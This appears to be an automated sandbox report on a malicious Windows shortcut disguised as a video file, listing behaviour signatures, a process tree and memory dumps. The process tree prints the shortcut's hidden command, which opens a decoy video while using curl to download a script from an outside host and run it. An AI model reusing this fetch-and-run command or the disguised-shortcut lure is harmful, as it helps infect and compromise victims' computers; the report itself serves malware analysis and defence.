Analysis
- max time kernel
148s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:27
General
- Target PACK8/teenslutdroppanties.mp4.lnk
- Size 691B
- Sample260626-e3f1rahw6l
- SHA256 f14d07f85c7ef6360e383d715612471ae9c1fabf0e0b7af69580ad9343b442c7
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of FindShellTrayWindow 24 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutdroppanties.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutdroppanties.mp4)&(curl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://2xx2.org 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3788-6-0x00007FF6AE420000-0x00007FF6AE518000-memory.dmp
memory/3788-7-0x00007FFDD4C70000-0x00007FFDD4CA4000-memory.dmp
memory/3788-11-0x00007FFDD9680000-0x00007FFDD96A2000-memory.dmp
memory/3788-12-0x00007FFDD5CE0000-0x00007FFDD5D0B000-memory.dmp
memory/3788-8-0x00007FFDC7C30000-0x00007FFDC7EE6000-memory.dmp
memory/3788-10-0x00007FFDDA8F0000-0x00007FFDDA909000-memory.dmp
memory/3788-9-0x00007FFDDA980000-0x00007FFDDA991000-memory.dmp
memory/3788-15-0x00007FFDD52F0000-0x00007FFDD5301000-memory.dmp
memory/3788-27-0x00007FFDC7130000-0x00007FFDC7141000-memory.dmp
memory/3788-26-0x00007FFDC89F0000-0x00007FFDC8A01000-memory.dmp
memory/3788-35-0x000001F975DB0000-0x000001F975E00000-memory.dmp
memory/3788-34-0x00007FFDC6D10000-0x00007FFDC6D22000-memory.dmp
memory/3788-33-0x00007FFDC6E60000-0x00007FFDC6E7B000-memory.dmp
memory/3788-32-0x00007FFDC6D30000-0x00007FFDC6DDB000-memory.dmp
memory/3788-31-0x00007FFDC6DE0000-0x00007FFDC6E05000-memory.dmp
memory/3788-37-0x00007FFDBE180000-0x00007FFDBE3C5000-memory.dmp
memory/3788-36-0x000001F975FA0000-0x000001F97645A000-memory.dmp
memory/3788-30-0x00007FFDC6E10000-0x00007FFDC6E5F000-memory.dmp
memory/3788-28-0x00007FFDC6F20000-0x00007FFDC712B000-memory.dmp
memory/3788-29-0x00007FFDC6E80000-0x00007FFDC6F18000-memory.dmp
memory/3788-23-0x00007FFDD3F00000-0x00007FFDD3F26000-memory.dmp
memory/3788-25-0x00007FFDCDCE0000-0x00007FFDCDCFA000-memory.dmp
memory/3788-24-0x00007FFDC8A10000-0x00007FFDC8A3D000-memory.dmp
memory/3788-22-0x00007FFDD48B0000-0x00007FFDD48C8000-memory.dmp
memory/3788-21-0x00007FFDD4BA0000-0x00007FFDD4BCF000-memory.dmp
memory/3788-19-0x00007FFDC7150000-0x00007FFDC7233000-memory.dmp
memory/3788-20-0x00007FFDCDD00000-0x00007FFDCDD41000-memory.dmp
memory/3788-17-0x00007FFDC7330000-0x00007FFDC75C6000-memory.dmp
memory/3788-18-0x00007FFDC7240000-0x00007FFDC7328000-memory.dmp
memory/3788-13-0x00007FFDC76B0000-0x00007FFDC7A40000-memory.dmp
memory/3788-16-0x00007FFDC75D0000-0x00007FFDC76A2000-memory.dmp
memory/3788-14-0x00007FFDD5380000-0x00007FFDD5394000-memory.dmp